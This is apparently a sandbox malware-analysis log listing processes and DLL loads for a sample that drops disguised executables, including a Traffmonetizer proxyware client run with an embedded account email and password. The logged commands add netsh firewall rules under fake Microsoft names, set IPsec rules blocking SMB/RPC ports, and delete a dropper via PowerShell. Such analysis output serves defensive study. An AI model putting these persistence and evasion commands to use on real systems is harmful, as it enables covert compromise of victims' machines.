Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\ctfmoon.exe C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\Meson.exe C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\Microsoft.NET\Meson.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\MpMgSvc.exe	Process created: C:\Windows\Temp\Wmicc.exe "C:\Windows\Temp\Wmicc.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Process created: C:\Users\user\Desktop\MSSQLH.exe C:\Users\user\Desktop\MSSQLH.exe	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process created: C:\Windows\Temp\Wmicc.exe "C:\Windows\Temp\Wmicc.exe"	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filterlist name=Filter1	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filteraction name=FilteraAtion1 action=block	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static set policy name=Block assign=y	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\ctfmoon.exe C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\Meson.exe C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSSQLH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSSQLH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSSQLH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSSQLH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSSQLH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MSSQLH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: odbc32.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: sqlsrv32.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: odbccp32.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: dbnetlib.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: dsparse.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: netbios.dll	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Section loaded: dbnmpntw.dll	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: oledlg.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
